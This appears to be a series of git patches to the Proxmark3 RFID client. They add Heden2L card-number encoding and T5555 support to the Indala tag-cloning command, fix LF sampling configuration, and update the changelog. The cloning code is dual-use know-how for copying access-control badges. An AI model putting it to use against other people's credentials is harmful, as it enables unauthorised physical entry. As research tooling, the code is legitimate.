encode heden2l format and param '--Q5' to write to t5555 cards --- client/cmdlfindala.c | 129 +++++++++++++++++++++++++++++++------------ 1 file changed, 94 insertions(+), 35 deletions(-) diff --git a/client/cmdlfindala.c b/client/cmdlfindala.c index 4746fa3f3..c5c32d62d 100644 --- a/client/cmdlfindala.c +++ b/client/cmdlfindala.c @@ -58,25 +58,70 @@ static int usage_lf_indala_sim(void) { PrintAndLogEx(NORMAL, "Enables simulation of Indala card with specified uid."); PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Usage: lf indala sim [h] "); + PrintAndLogEx(NORMAL, "Usage: lf indala sim [h] "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h : This help"); - PrintAndLogEx(NORMAL, " : 64/224 UID"); + PrintAndLogEx(NORMAL, " h : This help"); + PrintAndLogEx(NORMAL, " u : 64/224 UID"); + PrintAndLogEx(NORMAL, " c : Cardnumber for Heden 2L format (decimal)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf indala sim deadc0de"); return PM3_SUCCESS; } -/* -static void encodeHeden2L(uint8_t *bits) { +#define HEDEN2L_OFFSET 31 +static void encodeHeden2L(uint8_t *dest, uint32_t cardnumber) { + uint8_t template[] = { + 1,0,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 1,0,0,0,1,0,0,0, + 1,0,0,0,0,0,0,0, + 0,0,0,0,1,0,0,1, + 0,0,0,0,0,0,1,0 + }; + uint8_t cardbits[32]; + + num_to_bytebits(cardnumber, sizeof(cardbits), cardbits); + + if (cardbits[31] == 1) template[HEDEN2L_OFFSET + 8] = 0x1; + if (cardbits[30] == 1) template[HEDEN2L_OFFSET + 10] = 0x1; + if (cardbits[29] == 1) template[HEDEN2L_OFFSET + 14] = 0x1; + if (cardbits[28] == 1) template[HEDEN2L_OFFSET + 15] = 0x1; + if (cardbits[27] == 1) template[HEDEN2L_OFFSET + 12] = 0x1; + if (cardbits[26] == 1) template[HEDEN2L_OFFSET + 28] = 0x1; + if (cardbits[25] == 1) template[HEDEN2L_OFFSET + 3] = 0x1; + if (cardbits[24] == 1) template[HEDEN2L_OFFSET + 11] = 0x1; + if (cardbits[23] == 1) template[HEDEN2L_OFFSET + 19] = 0x1; + if (cardbits[22] == 1) template[HEDEN2L_OFFSET + 26] = 0x1; + if (cardbits[21] == 1) template[HEDEN2L_OFFSET + 17] = 0x1; + if (cardbits[20] == 1) template[HEDEN2L_OFFSET + 18] = 0x1; + if (cardbits[19] == 1) template[HEDEN2L_OFFSET + 20] = 0x1; + if (cardbits[18] == 1) template[HEDEN2L_OFFSET + 13] = 0x1; + if (cardbits[17] == 1) template[HEDEN2L_OFFSET + 7] = 0x1; + if (cardbits[16] == 1) template[HEDEN2L_OFFSET + 23] = 0x1; + + // Parity + uint8_t counter = 0; + for (int i=0; i< sizeof(template) - HEDEN2L_OFFSET; i++) { + if (template[i]) + counter++; + } + template[63] = (counter & 0x1); + + for (int i = 0; i< sizeof(template); i += 8) { + dest[i/8] = bytebits_to_byte(template + i, 8); + } + + PrintAndLogEx(INFO, "Heden2L Cardnumber %u ; RawID %s", cardnumber, sprint_hex(dest, 8)); } -*/ + static void decodeHeden2L(uint8_t *bits) { uint32_t cardnumber = 0; - uint8_t offset = 31; + uint8_t offset = HEDEN2L_OFFSET; if ( bits[offset + 8] ) cardnumber += 1; if ( bits[offset + 10] ) cardnumber += 2; @@ -497,49 +542,55 @@ static int CmdIndalaSim(const char *Cmd) { static int CmdIndalaClone(const char *Cmd) { - bool isLongUid = false; + bool is_long_uid = false, got_cn = false; + bool is_t5555 = false; + int32_t cardnumber; uint32_t blocks[8] = {0}; uint8_t max = 0; - uint8_t data[7 * 4]; int datalen = 0; CLIParserInit("lf indala clone", - "Enables cloning of Indala card with specified uid onto T55x7\n" - "defaults to 64.\n", - "\n" - "Samples:\n" - "\tlf indala clone a0000000a0002021\n" - "\tlf indala clone -l 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5"); + "clone INDALA tag to T55x7 (or to q5/T5555)", + "Examples:\n" + "\tlf indala clone -c 888\n" + "\tlf indala clone -r a0000000a0002021\n" + "\tlf indala clone -l -r 80000001b23523a6c2e31eba3cbee4afb3c6ad1fcf649393928c14e5"); void *argtable[] = { arg_param_begin, - arg_lit0("lL", "long", "long UID 224 bits"), - arg_strx1(NULL, NULL, "", NULL), + arg_lit0("lL", "long", "optional - long UID 224 bits"), + arg_int0("cC", "cn", "", "Cardnumber for Heden 2L format"), + arg_strx0("rR", "raw", "", "raw bytes"), + arg_lit0("qQ", "Q5", "optional - specify write to Q5 (t5555 instead of t55x7)"), arg_param_end }; CLIExecWithReturn(Cmd, argtable, false); - isLongUid = arg_get_lit(1); - CLIGetHexWithReturn(2, data, &datalen); + is_long_uid = arg_get_lit(1); + if (is_long_uid == false) { + cardnumber = arg_get_int_def(2, -1); + got_cn = (cardnumber != -1); + } + + if (got_cn == false) { + CLIGetHexWithReturn(3, data, &datalen); + } + + is_t5555 = arg_get_lit(4); + CLIParserFree(); - /* - //TODO add selection of chip for Q5 or T55x7 - - // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK2 | 7 << T5555_MAXBLOCK_SHIFT; - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=7;Inverse data) - // T5567WriteBlock(0x603E10E2,0); - - // data[0] = T5555_SET_BITRATE(32 | T5555_MODULATION_PSK1 | 2 << T5555_MAXBLOCK_SHIFT; - //Alternative config for Indala (Extended mode;RF/32;PSK1 with RF/2;Maxblock=2;Inverse data) - // T5567WriteBlock(0x603E1042,0); - */ - - if (isLongUid) { + if (is_long_uid) { + // 224 BIT UID // config for Indala (RF/32;PSK2 with RF/2;Maxblock=7) PrintAndLogEx(INFO, "Preparing to clone Indala 224bit tag with RawID %s", sprint_hex(data, datalen)); - blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); + + if (is_t5555) + blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK2 | (7 << T5555_MAXBLOCK_SHIFT); + else + blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); + blocks[1] = bytes_to_num(data, 4); blocks[2] = bytes_to_num(data + 4, 4); blocks[3] = bytes_to_num(data + 8, 4); @@ -549,16 +600,24 @@ static int CmdIndalaClone(const char *Cmd) { blocks[7] = bytes_to_num(data + 24, 4); max = 8; } else { + // 64 BIT UID + if (got_cn) + encodeHeden2L(data, cardnumber); + // config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2) PrintAndLogEx(INFO, "Preparing to clone Indala 64bit tag with RawID %s", sprint_hex(data, datalen)); - blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT); + + if (is_t5555) + blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK1 | (2 << T5555_MAXBLOCK_SHIFT); + else + blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT); + blocks[1] = bytes_to_num(data, 4); blocks[2] = bytes_to_num(data + 4, 4); max = 3; } print_blocks(blocks, max); - return clone_t55xx_tag(blocks, max); } From 1d6ef96d1259d81f70b846d35e6ce966ad2a2467 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 19:26:12 +0100 Subject: [PATCH 274/418] Chg: fixes from original repo --- client/cliparser/argtable3.h | 16 ++++++++++++++++ client/cliparser/cliparser.h | 14 +++++++------- 2 files changed, 23 insertions(+), 7 deletions(-) diff --git a/client/cliparser/argtable3.h b/client/cliparser/argtable3.h index c3ec479ea..d8e3c53cc 100644 --- a/client/cliparser/argtable3.h +++ b/client/cliparser/argtable3.h @@ -1,4 +1,6 @@ /******************************************************************************* + * argtable3: Declares the main interfaces of the library + * * This file is part of the argtable3 library. * * Copyright (C) 1998-2001,2003-2011,2013 Stewart Heitmann @@ -39,6 +41,13 @@ extern "C" { #endif #define ARG_REX_ICASE 1 +#define ARG_DSTR_SIZE 200 +#define ARG_CMD_NAME_LEN 100 +#define ARG_CMD_DESCRIPTION_LEN 256 + +#ifndef ARG_REPLACE_GETOPT +#define ARG_REPLACE_GETOPT 1 /* use the embedded getopt as the system getopt(3) */ +#endif /* ARG_REPLACE_GETOPT */ /* bit masks for arg_hdr.flag */ enum { @@ -143,6 +152,13 @@ struct arg_end { const char **argval; /* Array of pointers to offending argv[] string */ }; +/* +typedef struct arg_cmd_info { + char name[ARG_CMD_NAME_LEN]; + char description[ARG_CMD_DESCRIPTION_LEN]; + arg_cmdfn* proc; +} arg_cmd_info_t; +*/ /**** arg_xxx constructor functions *********************************/ diff --git a/client/cliparser/cliparser.h b/client/cliparser/cliparser.h index c67488d59..866ee07d6 100644 --- a/client/cliparser/cliparser.h +++ b/client/cliparser/cliparser.h @@ -13,16 +13,16 @@ #include "argtable3.h" #include "util.h" -#define arg_param_begin arg_lit0("hH", "help", "print this help and exit") +#define arg_param_begin arg_lit0("hH", "help", "This help") #define arg_param_end arg_end(20) -#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) -#define arg_get_lit(n)(((struct arg_lit*)argtable[n])->count) +#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) +#define arg_get_lit(n) (((struct arg_lit*)argtable[n])->count) #define arg_get_int_count(n)(((struct arg_int*)argtable[n])->count) -#define arg_get_int(n)(((struct arg_int*)argtable[n])->ival[0]) -#define arg_get_int_def(n,def)(arg_get_int_count(n)?(arg_get_int(n)):(def)) -#define arg_get_str(n)((struct arg_str*)argtable[n]) -#define arg_get_str_len(n)(strlen(((struct arg_str*)argtable[n])->sval[0])) +#define arg_get_int(n) (((struct arg_int*)argtable[n])->ival[0]) +#define arg_get_int_def(n, def)(arg_get_int_count(n) ? (arg_get_int(n)) : (def)) +#define arg_get_str(n) ((struct arg_str*)argtable[n]) +#define arg_get_str_len(n) (strlen(((struct arg_str*)argtable[n])->sval[0])) #define arg_strx1(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 1, 250, (glossary))) #define arg_strx0(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 0, 250, (glossary))) From 0869cbc6ad4a6c493b8fe934c581f1abb88fcd0a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 19:28:44 +0100 Subject: [PATCH 275/418] Fix: 'lf config' - calling without param messes up all device settings. --- armsrc/lfadc.c | 6 +- armsrc/lfsampling.c | 41 +++++++++----- armsrc/lfsampling.h | 8 +-- client/cmdlf.c | 134 +++++++++++++++++++++++++------------------- include/pm3_cmd.h | 12 ++-- 5 files changed, 116 insertions(+), 85 deletions(-) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index a42fe8c52..d59fae07d 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -150,12 +150,12 @@ void lf_init(bool reader) { AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; LOW(GPIO_SSC_DOUT); - // Enable peripheral Clock for TIMER_CLOCK0 + // Enable peripheral Clock for TIMER_CLOCK 0 AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; - // Enable peripheral Clock for TIMER_CLOCK0 + // Enable peripheral Clock for TIMER_CLOCK 1 AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; @@ -168,7 +168,7 @@ void lf_init(bool reader) { AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // Prepare data trace - if (logging) initSamplingBuffer(NULL); + if (logging) initSampleBuffer(NULL); } diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index d836accfa..32865d204 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -42,25 +42,40 @@ void printConfig() { /** * Called from the USB-handler to set the sampling configuration - * The sampling config is used for std reading and sniffing. + * The sampling config is used for standard reading and sniffing. * * Other functions may read samples and ignore the sampling config, * such as functions to read the UID from a prox tag or similar. * - * Values set to '0' implies no change (except for averaging) + * Values set to '-1' implies no change * @brief setSamplingConfig * @param sc */ void setSamplingConfig(sample_config *sc) { - if (sc->divisor != 0) config.divisor = sc->divisor; - if (sc->bits_per_sample != 0) config.bits_per_sample = sc->bits_per_sample; - if (sc->trigger_threshold != -1) config.trigger_threshold = sc->trigger_threshold; -// if (sc->samples_to_skip == 0xffffffff) // if needed to not update if not supplied - config.samples_to_skip = sc->samples_to_skip; - config.decimation = (sc->decimation != 0) ? sc->decimation : 1; - config.averaging = sc->averaging; - if (config.bits_per_sample > 8) config.bits_per_sample = 8; + // decimation (1-8) how many bits of adc sample value to save + if (sc->decimation > 0 && sc->decimation < 8) + config.decimation = sc->decimation; + + // bits per sample (1-8) + if (sc->bits_per_sample > 0 && sc->bits_per_sample < 8) + config.bits_per_sample = sc->bits_per_sample; + + // + if (sc->averaging > -1) + config.averaging = (sc->averaging > 0) ? 1 : 0; + + // Frequency divisor (19 - 255) + if (sc->divisor > 18 && sc->divisor < 256) + config.divisor = sc->divisor; + + // Start saving samples when adc value larger than trigger_threshold + if (sc->trigger_threshold > -1) + config.trigger_threshold = sc->trigger_threshold; + + // Skip n adc samples before saving + if (sc->samples_to_skip > -1) + config.samples_to_skip = sc->samples_to_skip; if (sc->verbose) printConfig(); @@ -113,7 +128,7 @@ uint32_t getSampleCounter() { return samples.total_saved; } -void logSample(uint8_t sample, uint8_t decimation, uint32_t bits_per_sample, bool avg) { +void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { if (!data.buffer) return; @@ -207,8 +222,8 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { * @param verbose - is true, dbprints the status, else no outputs * @return the number of bits occupied by the samples. */ -uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool avg, int trigger_threshold, - bool verbose, uint32_t sample_size, uint32_t cancel_after, uint32_t samples_to_skip) { +uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip) { initSampleBuffer(&sample_size); diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index 8ccaa5579..e97a3ac1a 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -42,8 +42,8 @@ uint32_t SampleLF(bool verbose, uint32_t sample_size); **/ uint32_t SniffLF(); -uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool avg, int trigger_threshold, - bool verbose, uint32_t sample_size, uint32_t cancel_after, uint32_t samples_to_skip); +uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip); // adds sample size to default options uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after); @@ -69,8 +69,8 @@ uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size); /** * Refactoring of lf sampling buffer */ -void initSamplingBuffer(uint32_t *sample_size); -void logSample(uint8_t sample, uint8_t decimation, uint32_t bits_per_sample, bool avg); +void initSampleBuffer(uint32_t *sample_size); +void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg); uint32_t getSampleCounter(); /** diff --git a/client/cmdlf.c b/client/cmdlf.c index 64ff0ed9a..337444f1e 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -68,9 +68,10 @@ static int usage_lf_cmdread(void) { PrintAndLogEx(NORMAL, " c Command bytes (in ones and zeros)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " ************* " _YELLOW_("All periods in microseconds (us)")); - PrintAndLogEx(NORMAL, " ************* Use " _YELLOW_("'lf config'") "to configure options."); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf cmdread d 80 z 100 o 200 c 11000"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); return PM3_SUCCESS; } static int usage_lf_read(void) { @@ -79,16 +80,16 @@ static int usage_lf_read(void) { PrintAndLogEx(NORMAL, " h This help"); PrintAndLogEx(NORMAL, " d #samples # samples to collect (optional)"); PrintAndLogEx(NORMAL, " s silent"); - PrintAndLogEx(NORMAL, "Use 'lf config' to set parameters."); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000 samples silent"); PrintAndLogEx(NORMAL, " lf read"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); return PM3_SUCCESS; } static int usage_lf_sim(void) { PrintAndLogEx(NORMAL, "Simulate low frequence tag from graphbuffer."); - PrintAndLogEx(NORMAL, "Use " _YELLOW_("'lf config'")" to set parameters."); PrintAndLogEx(NORMAL, "Usage: lf sim [h] "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); @@ -96,16 +97,19 @@ static int usage_lf_sim(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf sim 240 - start simulating with 240ms gap"); PrintAndLogEx(NORMAL, " lf sim"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); return PM3_SUCCESS; } static int usage_lf_sniff(void) { PrintAndLogEx(NORMAL, "Sniff low frequence signal."); - PrintAndLogEx(NORMAL, "Use " _YELLOW_("'lf config'")" to set parameters."); - PrintAndLogEx(NORMAL, "Use " _YELLOW_("'data samples'")" command to download from device, and " _YELLOW_("'data plot'")" to look at it"); - PrintAndLogEx(NORMAL, "Usage: lf sniff [h]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'data samples'")"command to download from device"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'data plot'")"to look at it"); return PM3_SUCCESS; } static int usage_lf_config(void) { @@ -117,22 +121,17 @@ static int usage_lf_config(void) { PrintAndLogEx(NORMAL, " q Manually set freq divisor. %d -> 134 kHz, %d -> 125 kHz", LF_DIVISOR_134, LF_DIVISOR_125); PrintAndLogEx(NORMAL, " f Manually set frequency in kHz"); PrintAndLogEx(NORMAL, " b Sets resolution of bits per sample. Default (max): 8"); - PrintAndLogEx(NORMAL, " d Sets decimation. A value of N saves only 1 in N samples. Default: 1"); + PrintAndLogEx(NORMAL, " d Sets decimation. A value of N saves only 1 in N samples. Default: 1"); PrintAndLogEx(NORMAL, " a [0|1] Averaging - if set, will average the stored sample value when decimating. Default: 1"); PrintAndLogEx(NORMAL, " t Sets trigger threshold. 0 means no threshold (range: 0-128)"); PrintAndLogEx(NORMAL, " s Sets a number of samples to skip before capture. Default: 0"); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf config"); - PrintAndLogEx(NORMAL, " Shows current config"); - PrintAndLogEx(NORMAL, " lf config b 8 L"); - PrintAndLogEx(NORMAL, " Samples at 125 kHz, 8bps."); - PrintAndLogEx(NORMAL, " lf config H b 4 d 3"); - PrintAndLogEx(NORMAL, " Samples at 134 kHz, averages three samples into one, stored with "); - PrintAndLogEx(NORMAL, " a resolution of 4 bits per sample."); - PrintAndLogEx(NORMAL, " lf read"); - PrintAndLogEx(NORMAL, " Performs a read (active field)"); - PrintAndLogEx(NORMAL, " lf sniff"); - PrintAndLogEx(NORMAL, " Performs a sniff (no active field)"); + PrintAndLogEx(NORMAL, " lf config - shows current config"); + PrintAndLogEx(NORMAL, " lf config b 8 L - samples at 125 kHz, 8bps."); + PrintAndLogEx(NORMAL, " lf config H b 4 d 3 - samples at 134 kHz, averages three samples into one, stored with "); + PrintAndLogEx(NORMAL, " a resolution of 4 bits per sample."); + PrintAndLogEx(NORMAL, " lf read - performs a read (active field)"); + PrintAndLogEx(NORMAL, " lf sniff - performs a sniff (no active field)"); return PM3_SUCCESS; } static int usage_lf_simfsk(void) { @@ -457,7 +456,11 @@ int lf_config(sample_config *config) { if (!session.pm3_present) return PM3_ENOTTY; clearCommandBuffer(); - SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config)); + if (config != NULL) + SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config)); + else + SendCommandNG(CMD_LF_SAMPLING_GET_CONFIG, NULL, 0); + return PM3_SUCCESS; } @@ -465,15 +468,22 @@ int CmdLFConfig(const char *Cmd) { if (!session.pm3_present) return PM3_ENOTTY; - uint8_t divisor = 0;//Frequency divisor - uint8_t bps = 0; // Bits per sample - uint8_t decimation = 0; //How many to keep - bool averaging = 1; // Defaults to true - bool errors = false; - int trigger_threshold = -1;//Means no change - uint8_t unsigned_trigg = 0; - uint32_t samples_to_skip = 0; // will return offset to 0 if not supplied. Could set to 0xffffffff if needed to not update + // if called with no params, just print the device config + if (strlen(Cmd) == 0) { + return lf_config(NULL); + } + sample_config config = { + .decimation = -1, + .bits_per_sample = -1, + .averaging = -1, + .divisor = -1, + .trigger_threshold = -1, + .samples_to_skip = -1, + .verbose = true + }; + + bool errors = false; uint8_t cmdp = 0; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { @@ -481,16 +491,16 @@ int CmdLFConfig(const char *Cmd) { case 'h': return usage_lf_config(); case 'H': - divisor = LF_DIVISOR_134; + config.divisor = LF_DIVISOR_134; cmdp++; break; case 'L': - divisor = LF_DIVISOR_125; + config.divisor = LF_DIVISOR_125; cmdp++; break; case 'q': - errors |= param_getdec(Cmd, cmdp + 1, &divisor); - if (divisor < 19) { + config.divisor = param_get8ex(Cmd, cmdp + 1, 95, 10); + if (config.divisor < 19) { PrintAndLogEx(ERR, "divisor must be between 19 and 255"); return PM3_EINVARG; } @@ -498,36 +508,50 @@ int CmdLFConfig(const char *Cmd) { break; case 'f': { int freq = param_get32ex(Cmd, cmdp + 1, 125, 10); - divisor = LF_FREQ2DIV(freq); - if (divisor < 19) { + config.divisor = LF_FREQ2DIV(freq); + if (config.divisor < 19) { PrintAndLogEx(ERR, "freq must be between 47 and 600"); return PM3_EINVARG; } cmdp += 2; break; } - case 't': - errors |= param_getdec(Cmd, cmdp + 1, &unsigned_trigg); + case 't': { + uint8_t trigg = 0; + errors |= param_getdec(Cmd, cmdp + 1, &trigg); cmdp += 2; if (!errors) { - trigger_threshold = unsigned_trigg; - g_lf_threshold_set = (trigger_threshold > 0); + config.trigger_threshold = trigg; + g_lf_threshold_set = (config.trigger_threshold > 0); } break; - case 'b': - errors |= param_getdec(Cmd, cmdp + 1, &bps); + } + case 'b': { + config.bits_per_sample = param_get8ex(Cmd, cmdp + 1, 8, 10); + + // bps is limited to 8 + if (config.bits_per_sample >> 4) + config.bits_per_sample = 8; + cmdp += 2; break; - case 'd': - errors |= param_getdec(Cmd, cmdp + 1, &decimation); + } + case 'd': { + config.decimation = param_get8ex(Cmd, cmdp + 1, 1, 10); + + // decimation is limited to 255 + if (config.decimation >> 4) + config.decimation = 8; + cmdp += 2; break; + } case 'a': - averaging = param_getchar(Cmd, cmdp + 1) == '1'; + config.averaging = (param_getchar(Cmd, cmdp + 1) == '1'); cmdp += 2; break; case 's': - samples_to_skip = param_get32ex(Cmd, cmdp + 1, 0, 10); + config.samples_to_skip = param_get32ex(Cmd, cmdp + 1, 0, 10); cmdp += 2; break; default: @@ -540,15 +564,6 @@ int CmdLFConfig(const char *Cmd) { // validations if (errors) return usage_lf_config(); - // print current settings. - if (cmdp == 0) - return lf_config(NULL); - - // bps is limited to 8 - if (bps >> 4) bps = 8; - - sample_config config = { decimation, bps, averaging, divisor, trigger_threshold, samples_to_skip, true }; - return lf_config(&config); } @@ -1334,13 +1349,14 @@ static command_t CommandTable[] = { {"visa2000", CmdLFVisa2k, AlwaysAvailable, "{ Visa2000 RFIDs... }"}, {"", CmdHelp, AlwaysAvailable, ""}, {"config", CmdLFConfig, IfPm3Lf, "Get/Set config for LF sampling, bit/sample, decimation, frequency"}, - {"cmdread", CmdLFCommandRead, IfPm3Lf, " <'0' period> <'1' period> ['h' 134] \n\t\t-- Modulate LF reader field to send command before read (all periods in microseconds)"}, - {"read", CmdLFRead, IfPm3Lf, "['s' silent] Read 125/134 kHz LF ID-only tag. Do 'lf read h' for help"}, - {"search", CmdLFfind, AlwaysAvailable, "[offline] ['u'] Read and Search for valid known tag (in offline mode it you can load first then search) \n\t\t-- 'u' to search for unknown tags"}, - {"sim", CmdLFSim, IfPm3Lf, "[GAP] -- Simulate LF tag from buffer with optional GAP (in microseconds)"}, - {"simask", CmdLFaskSim, IfPm3Lf, "[clock] [invert <1|0>] [biphase/manchester/raw <'b'|'m'|'r'>] [msg separator 's'] [d ] \n\t\t-- Simulate LF ASK tag from demodbuffer or input"}, - {"simfsk", CmdLFfskSim, IfPm3Lf, "[c ] [i] [H ] [L ] [d ] \n\t\t-- Simulate LF FSK tag from demodbuffer or input"}, - {"simpsk", CmdLFpskSim, IfPm3Lf, "[1|2|3] [c ] [i] [r ] [d ] \n\t\t-- Simulate LF PSK tag from demodbuffer or input"}, + {"cmdread", CmdLFCommandRead, IfPm3Lf, "Modulate LF reader field to send command before read (all periods in microseconds)"}, + {"read", CmdLFRead, IfPm3Lf, "Read LF tag"}, + {"search", CmdLFfind, AlwaysAvailable, "Read and Search for valid known tag (in offline mode it you can load first then search)"}, + {"sim", CmdLFSim, IfPm3Lf, "Simulate LF tag from buffer with optional GAP (in microseconds)"}, + {"simask", CmdLFaskSim, IfPm3Lf, "Simulate LF ASK tag from demodbuffer or input"}, + {"simfsk", CmdLFfskSim, IfPm3Lf, "Simulate LF FSK tag from demodbuffer or input"}, + {"simpsk", CmdLFpskSim, IfPm3Lf, "Simulate LF PSK tag from demodbuffer or input"}, +// {"simpsk", CmdLFnrzSim, IfPm3Lf, "Simulate LF NRZ tag from demodbuffer or input"}, {"simbidir", CmdLFSimBidir, IfPm3Lf, "Simulate LF tag (with bidirectional data transmission between reader and tag)"}, {"sniff", CmdLFSniff, IfPm3Lf, "Sniff LF traffic between reader and tag"}, {"tune", CmdLFTune, IfPm3Lf, "Continuously measure LF antenna tuning"}, diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 44747b1ea..9100348bc 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -113,12 +113,12 @@ typedef struct { // A struct used to send sample-configs over USB typedef struct { - uint8_t decimation; - uint8_t bits_per_sample; - bool averaging; - int divisor; - int trigger_threshold; - uint32_t samples_to_skip; + int8_t decimation; + int8_t bits_per_sample; + int8_t averaging; + int16_t divisor; + int16_t trigger_threshold; + int32_t samples_to_skip; bool verbose; } PACKED sample_config; /* From 52aa2c77bca6afe675e8eca7b01d8d0d69fa142e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 19:38:19 +0100 Subject: [PATCH 276/418] textual --- CHANGELOG.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9f3f908e3..44607add4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,10 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Change `lf indala demod` - added @randomdude42's decode Heden 2L/Hedengren format (@iceman) Thanks to @randomdude42 + - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) + - Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001) + - Change `lf indala clone` - new option `-c ` allows cloning INDALA tag from Heden2L/Hedengren ID format (@iceman1001) - Thanks to @randomdude42 for solution + - Change `lf indala demod` - added decode Heden2L/Hedengren format (@iceman1001) - Thanks to @randomdude42 for solution - Add `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) - Change `lf pac clone` - new option `c ` to allow cloning PAC/Stanley tag from card ID (@danshuk) - Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk) From 3e7f687e485144bd63fe464ff593ab9c8ac756d5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 20:02:01 +0100 Subject: [PATCH 277/418] not verbose --- client/cmdlfawid.c | 2 +- client/cmdlffdx.c | 2 +- client/cmdlfgallagher.c | 2 +- client/cmdlfguard.c | 2 +- client/cmdlfhid.c | 2 +- client/cmdlfindala.c | 8 +++++--- client/cmdlfio.c | 2 +- client/cmdlfkeri.c | 2 +- client/cmdlfmotorola.c | 6 +++--- client/cmdlfnedap.c | 2 +- 